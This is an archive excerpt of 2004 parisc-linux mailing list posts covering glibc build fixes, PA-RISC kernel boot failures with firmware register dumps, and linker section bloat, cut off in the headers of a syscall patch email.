List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24975


> is there a fix for this? i was building glibc from cvs today to look at
> the _dl_debug_state problem and ran into this too.... (also the problem
> with the missing NULL defn for waitid)

I have a fix for the missing NULL defn.

> The problem here seems to be that we are using the generic dl-sysdep.h 
> and errno.c/errno-loc.c definitions, and when building rtld-errno-loc.o,
> __errno_location is coded to return &errno and not &rtld_errno.

Yeah, I saw this yesterday while going through the tree.
 
> i hacked this in my build but not sure if this is the proper solution --
> should we propose a change to the generic errno-loc.c? or do we need our
> own? or am i on the wrong track?

IMO your hack is correct, a lot of other arches just 
write their own version of this file and change it 
depending on the defines.

I get a warning when I compile this and it doesn't 
fail the build for me.


The patch looks good.

As for the missing _dl_debug_state, I'm really starting
to think it's a linker issue.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.6.9-rc4-pa2 32bits faiiled to boot on b2k ??
Date: Thu, 14 Oct 2004 15:12:57 +0200
Lines: 111
Approved: news@gmane.org
Message-ID: <4161746600002FFE@mail-3-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624495 26040 80.91.229.3 (22 Nov 2014 02:48:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:15 +0000 (UTC)
To: "Grundler Grant" <grundler@parisc-linux.org>,
 "List Parisc" <parisc-linux@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 2340 invoked by uid 65534); 14 Oct 2004 13:15:37 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx045) with SMTP; 14 Oct 2004 15:15:37 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 54D0E3BC80; Thu, 14 Oct 2004 07:15:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31827-05; Thu, 14 Oct 2004 07:15:25 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 42DD03BDFF; Thu, 14 Oct 2004 07:14:38 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 271963BDF2
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Oct 2004 07:14:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 31827-02 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Oct 2004 07:14:33 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 5DB643BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Oct 2004 07:14:32 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id AA504494778; Thu, 14 Oct 2004 07:14:30 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mrq-1.tiscalinet.it (mrq-1.tiscalinet.it [212.123.84.71])
	by palinux.hppa (Postfix) with ESMTP
	id 4D04549473F; Thu, 14 Oct 2004 07:14:28 -0600 (MDT)
Original-Received: from mail-3-bnl.tiscali.it (10.39.115.133) by mrq-1.tiscalinet.it
	(7.0.028) id 4100CA59000B49BB; Thu, 14 Oct 2004 15:12:06 +0200
Original-Received: from [57.67.177.33] by mail-3-bnl.tiscali.it with HTTP;
	Thu, 14 Oct 2004 15:12:57 +0200
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24976

Hello pa*,

(Yet) another pb with this b2k and the new 2.6.9-rc4-pa2 (pa3 wouldn't he=
lp,
I don't use HIL on this box).

In summary, this kernel boot fine on b180 (32bit), on n4k (64bit smp, abo=
ut
101 make -j 4 vmlinux on this last 2 days on a local disk :-) ) and fwiw
on
b2k but 64bit only with I-K patch (superio init prior others).

BUT as describe in the title, those same sources with same config (the c3=
k
defconfig)
 but for 32bit, it failled to boot very early, just after the ipl banner:=

Command line for kernel: 'root=3D/dev/sda5 HOME=3D/ panic=3D180 console=3D=
ttyS0
TERM=3Dvt102 palo_kernel=3D3/vmlinux-2.6.9-rc4-pa2-b2k32'
Selected kernel: /vmlinux-2.6.9-rc4-pa2-b2k32 from partition 3
ELF32 executable
Entry 00100000 first 00100000 n 2
Segment 0 load 00100000 size 3727616 mediaptr 0x1000
Segment 1 load 00490000 size 270470 mediaptr 0x390000
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

And the cdrom green led stay continuously lighted.

I could grab a piminfo and analyse it: useless because IAOQ was pointing
to:
Func: L4^B2, Off: 0x4, Addr: 0x1010d650

1010d650:       0f a2 12 90     stw rp,8(,ret1)
1010d654:       0f a3 12 98     stw r3,c(,ret1)
1010d658:       6b a4 00 20     stw r4,10(,ret1)
1010d65c:       6b a5 00 28     stw r5,14(,ret1)

:(.

I so came back to latest 2.6.9-rc3-pa5: 32bit and 64bit up kernels were
booting as well on this box :)

It's hard to check but it seems that nothing was missed during merge :)
(btw this pb was already mentioned for pa1 <http://lists.parisc-linux.org=
/pipermail/parisc-linux/2004-October/025018.html>)

Finaly all 4 kernels (2.6.9-rc3-pa5, 2.6.9-rc4-pa2, each 32 and 64 bits)
were build on the same  b2k local disk and the same unstable debian insta=
ll
with latest tools:
ii  libc6          2.3.2.ds1-17   GNU C Library: Shared libraries and Tim=
ezone
ii  libc6-dev      2.3.2.ds1-17   GNU C Library: Development Libraries an=
d
Hea
ii  binutils       2.15-4         The GNU assembler, linker and binary ut=
iliti
ii  binutils-dev   2.15-4         The GNU binary utilities (BFD developme=
nt
fi
ii  binutils-doc   2.15-4         Documentation for the GNU assembler, li=
nker

ii  gcc-3.3        3.3.5-1        The GNU C compiler
ii  gcc-3.3-base   3.3.5-1        The GNU Compiler Collection (base packa=
ge)
ii  gcc-3.3-doc    3.3.5-1        Documentation for the GNU compilers (gc=
c,
go
ii  gcc-hppa64     3.0.4ds3-8     Cross gcc for hppa64

Any idea? what, where, how could I check addtional stuff?

(btw, is any lkcd foreseen for our hppa?)

Thanks in advance,
    Joel

PS1: Is c3xxx, jxxxx doesn't have the same pb?

PS2: it's also the only box where CONFIG_FW_LOADER is set (Y)  (that make=

sense with the select of pcmcia and usb support) but even uncheck this op=
tion
doesn't help.

PS3: because of cdrom led lighted, I also unselect superio support and al=
l
atapi - ide support but nothing help :(




-------------------------------------------------------------------------=
--
Tiscali ADSL GO, 29,50 Euro/mois pendant toute une ann=E9e, profitez-en..=
.
http://reg.tiscali.be/adsl/welcome.asp?lg=3DFR




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 64-bit kernel crashes on my c3600
Date: Tue, 19 Oct 2004 18:54:40 +0100
Lines: 154
Approved: news@gmane.org
Message-ID: <20041019175440.GP16153@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624495 26044 80.91.229.3 (22 Nov 2014 02:48:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:15 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 22845 invoked by uid 65534); 19 Oct 2004 17:55:23 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx043) with SMTP; 19 Oct 2004 19:55:23 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 8928D3BDFC; Tue, 19 Oct 2004 11:55:08 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31474-03; Tue, 19 Oct 2004 11:55:08 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B51C53BE37; Tue, 19 Oct 2004 11:54:51 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4296B3BE30
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 19 Oct 2004 11:54:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 30890-06 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 19 Oct 2004 11:54:44 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id CA1343BDFC
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 19 Oct 2004 11:54:43 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 20D0B49487B; Tue, 19 Oct 2004 11:54:43 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252]) by palinux.hppa (Postfix) with ESMTP id 49975494740
	for <parisc-linux@parisc-linux.org>;
	Tue, 19 Oct 2004 11:54:42 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1CJyC0-0000kA-Qz
	for parisc-linux@parisc-linux.org; Tue, 19 Oct 2004 18:54:40 +0100
Content-Disposition: inline
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24977


One of the problems with this crash is that enabling EARLY_CONSOLE
doesn't help.  The exact same configuration boots fine in 32-bit mode.
I'm building from the same tree (with O=) so there's no question of patch
skew.  Turning on DISCONTIGMEM does not help.  The HPMC points inside
the code generated by the save_general macro just past skip_save_ior
inside the intr_save function in entry.S

I'm not even sure how to start debugging.  My initial thought is that r29
seems awfully high to be a good memory address.

Here's the HPMC if it's useful.  BTW, the "system responder address" is
MEM_CONTROL_0 inside the memory controller block of Astro's config space.


Service Menu: Enter command > pim hpmc

PROCESSOR PIM INFORMATION

-----------------  Processor 0 HPMC Information ------------------

Timestamp =
  Tue Oct  19 15:58:28 GMT 2004    (20:04:10:19:15:58:28)

HPMC Chassis Codes = 2cbf0  2500b  2cbf4  2cbfc

General Registers 0 - 31
00-03   0000000000000000  0000000000000080  000000000010012c  fffffff0f0000018
04-07   00000000004cd000  00000000004cf220  00000000fffffff0  00000000f0002f68
08-11   0000000000000006  00000001ffffff80  000000000804000e  000000001062c564
12-15   0000000000000000  00000000ffffffff  0000000000000000  00000000f0400004
16-19   0000000000000000  00000000f000017c  00000000f0000174  0000000000000000
20-23   0000000000000000  00000000fee003f8  00000000fee003fd  0000000000000000
24-27   0000000000000000  0000000000000000  0000000000000006  0000000010612ac0
28-31   0000000000000000  000000020ffffc40  000000020fffff80  0300000000802204

Control Registers 0 - 31
00-03   0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07   0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11   0000000000000000  0000000000000000  0000000000000000  000000000000001f
12-15   0000000000000000  0000000000000000  0000000000106000  0000000000000000
16-19   0000000a99eb6986  0000000000000000  0000000010107678  0000000043ffff80
20-23   0000000000000000  0000000000000000  000000ff08007f00  8000000000000000
24-27   00000000004cd000  00000000004cd000  000000007fffffff  000000007fdfffff
28-31   000000007fffffff  000000007fffffff  00000000105c8000  00000000105cc000
Space Registers 0 - 7

00-03   00000000          00000000          00000000          00000000
04-07   00000000          00000000          00000000          00000000

IIA Space                    = 0x0000000000000000
IIA Offset                   = 0x000000001010767c
Check Type                   = 0x20000000
CPU State                    = 0x9e000004
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x003010bb
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00031800
System Responder Address     = 0xfffffffffed10200
System Requestor Address     = 0xfffffffffffa0000

Floating-Point Registers 0 - 31
00-03   0000001f00000000  0000000000000000  0000000000000000  0000000000000000
04-07   00001e84000f41fa  0000007810179ac8  00000000000e4de0  104270101052b810
08-11   12ae1e4000000002  eff1700000000002  0000000030433480  000f41fa10425000
12-15   1052bcb400000002  eff1700000000002  0000000000000001  12b1414000000000
16-19   f00008c41052b810  104270103b9aca00  104251601052bc80  30433480000f41fa
20-23   104250001052bcb4  1052bc801016533c  08a00000052d8e00  00000000431bde83
24-27   20e6da0000000000  0000008000000000  eff6a9d400000000  12ad5c40effc18dc
28-31   eff8cbc0ffffffff  ffffffff10176990  ffffffff7fffffff  fffffb7dffffffff

'9000/785 B,C,J Workstation Unarchitected (per-CPU)', rev 1, 140 bytes:

Check Summary                = 0xcb81041000000000
Available Memory             = 0x0000000200000000
CPU Diagnose Register 2      = 0x0300000000802204
CPU Status Register 0        = 0x2420c20000000000
CPU Status Register 1        = 0x8080000000000000
SADD LOG                     = 0x0000000000000000
Read Short LOG               = 0xc13ff0f0f000a1b8
ERROR_STATUS                 = 0x0000000000000010
MEM_ADDR                     = 0x000001ff3fffffff
MEM_SYND                     = 0x0000000000000000
MEM_ADDR_CORR                = 0x000001ff3fffffff
MEM_SYND_CORR                = 0x0000000000000000
RUN_DATA_HIGH                = 0xc1bff0fffed08040
RUN_DATA_LOW                 = 0xc1bff0fffed08040
RUN_CTRL                     = 0x0000021c00001418
RUN_ADDR                     = 0xc1bff0fffed08040
System Responder Path        = 0x00ffffffffffffff


HPMC PIM Analysis Information:

Timestamp =
  Tue Oct  19 15:58:28 GMT 2004    (20:04:10:19:15:58:28)


'9000/785 B,C,J Workstation HPMC PIM Analysis (per-CPU)', rev 0, 1304 bytes:

A Data Miss Timeout occurred while CPU 0 was
requesting information.


Memory/IO Controller Error Analysis Information:

The Memory/IO Controller only observed the Broadcast Error.  It did not log
any additional information about the HPMC.

Memory Error Log Information:

Timestamp =
  Tue Oct  19 15:58:28 GMT 2004    (20:04:10:19:15:58:28)


'9000/785 B,C,J Workstation Memory Error Log', rev 0, 64 bytes:

   No memory errors logged


I/O Module Error Log Information:

Timestamp =
  Tue Oct  19 15:58:28 GMT 2004    (20:04:10:19:15:58:28)


'9000/785 B,C,J Workstation IO Error Log', rev 0, 228 bytes:

 Rope     Word1        Word2            Word3
------ ------------ ------------
   0    0x00000000   0x0e0cc009   0x00000000fed30048
   1    0x00000000   0x1e0cc009   0x00000000fed32048
   2    ----------   0x2e0cc009   ------------------
   3    ----------   0x3e0cc009   ------------------
   4    0x00000000   0x4e0cc009   0x00000000fed38048
   5    ----------   0x5e0cc009   ------------------
   6    0x00000000   0x6e0cc009   0x00000000fed3c048
   7    ----------   0x7e0cc009   ------------------

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] comment section
Date: Tue, 19 Oct 2004 21:55:44 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <20041019205544.GR16153@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624495 26048 80.91.229.3 (22 Nov 2014 02:48:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:15 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 31000 invoked by uid 65534); 19 Oct 2004 20:56:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx010) with SMTP; 19 Oct 2004 22:56:59 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id BB31A3BE26; Tue, 19 Oct 2004 14:56:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00600-10; Tue, 19 Oct 2004 14:56:29 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A504B3BE36; Tue, 19 Oct 2004 14:55:51 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D60733BE33
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 19 Oct 2004 14:55:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 00600-07 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 19 Oct 2004 14:55:46 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id A36763BE26
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 19 Oct 2004 14:55:46 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 5D76049487B; Tue, 19 Oct 2004 14:55:46 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252]) by palinux.hppa (Postfix) with ESMTP id DC833494740
	for <parisc-linux@parisc-linux.org>;
	Tue, 19 Oct 2004 14:55:45 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1CK11F-0005ti-4C
	for parisc-linux@parisc-linux.org; Tue, 19 Oct 2004 21:55:45 +0100
Content-Disposition: inline
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24978


I noticed that in my vmlinux, we have 22k in the .comment section.
Over and over again ...

"\0GCC: (GNU) 3.4.2 (Debian 3.4.2-2)"

Clearly this is because vmlinux.lds.S tells the linker to do this.
The only question is ... why?  Can we kill off the stabs sections too?
We don't seem to generate them any more.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Howells <dhowells@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] Add key management syscalls to non-i386 archs
Date: Wed, 20 Oct 2004 15:44:15 +0100
Lines: 829
Approved: news@gmane.org
Message-ID: <3506.1098283455__38818.6287870214$1416624496$gmane$org@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (generated by SEMI 1.14.5 - "Awara-Onsen")
Content-Type: text/plain;
  charset=US-ASCII
X-Trace: ger.gmane.org 1416624496 26050 80.91.229.3 (22 Nov 2014 02:48:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:16 +0000 (UTC)
Cc: discuss@x86-64.org,
 linux-m68k@vger.kernel.org,
 linux-ia64@vger.kernel.org,
 linux-mips@linux-mips.org,
 linux-kernel@vger.kernel.org,
 linux-sh@m17n.org,
 linux-390@vm.marist.edu,
 sparclinux@vger.kernel.org,
 linuxppc64-dev@ozlabs.org,
 linux-arm-kernel@lists.arm.linux.org.uk,
 parisc-linux@parisc-linux.org
To: torvalds@osdl.org,
 akpm@osdl.org
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 22537 invoked by uid 65534); 20 Oct 2004 14:45:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx048) with SMTP; 20 Oct 2004 16:45:57 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E83BE3BE43; Wed, 20 Oct 2004 08:45:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11175-06; Wed, 20 Oct 2004 08:45:42 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 7EF9F3BE2E; Wed, 20 Oct 2004 08:45:31 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B5B053BE2B
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 20 Oct 2004 08:45:15 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 11194-01 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 20 Oct 2004 08:45:14 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 2DE633BE26
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 20 Oct 2004 08:45:14 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 95C8149483B; Wed, 20 Oct 2004 08:45:12 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31])
	by palinux.hppa (Postfix) with ESMTP id 43DE4494738
	for <parisc-linux@parisc-linux.org>;
	Wed, 20 Oct 2004 08:45:11 -0600 (MDT)
Original-Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com
	[172.16.52.254])
	by mx1.redhat.com (8.12.11/8.12.10) with ESMTP id i9KEiKFW013186;
	Wed, 20 Oct 2004 10:44:25 -0400
Original-Received: from warthog.cambridge.redhat.com (warthog.cambridge.redhat.com
	[172.16.18.73])
	by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i9KEiGr24883; 
	Wed, 20 Oct 2004 10:44:16 -0400
Original-Received: from warthog.cambridge.redhat.com (localhost.localdomain [127.0.0.1])
	by warthog.cambridge.redhat.com (8.12.11/8.12.8) with ESMTP id
	i9KEiF1K003513; Wed, 20 Oct 2004 15:44:15 +0100
Original-Received: from redhat.com (dhowells@localhost)
	by warthog.cambridge.redhat.com (8.12.11/8.12.11/Submit) with ESMTP id
	i9KEiF9T003507; Wed, 20 Oct 2004 15:44:15 +0100
X-Authentication-Warning: warthog.cambridge.redhat.com: dhowells owned process
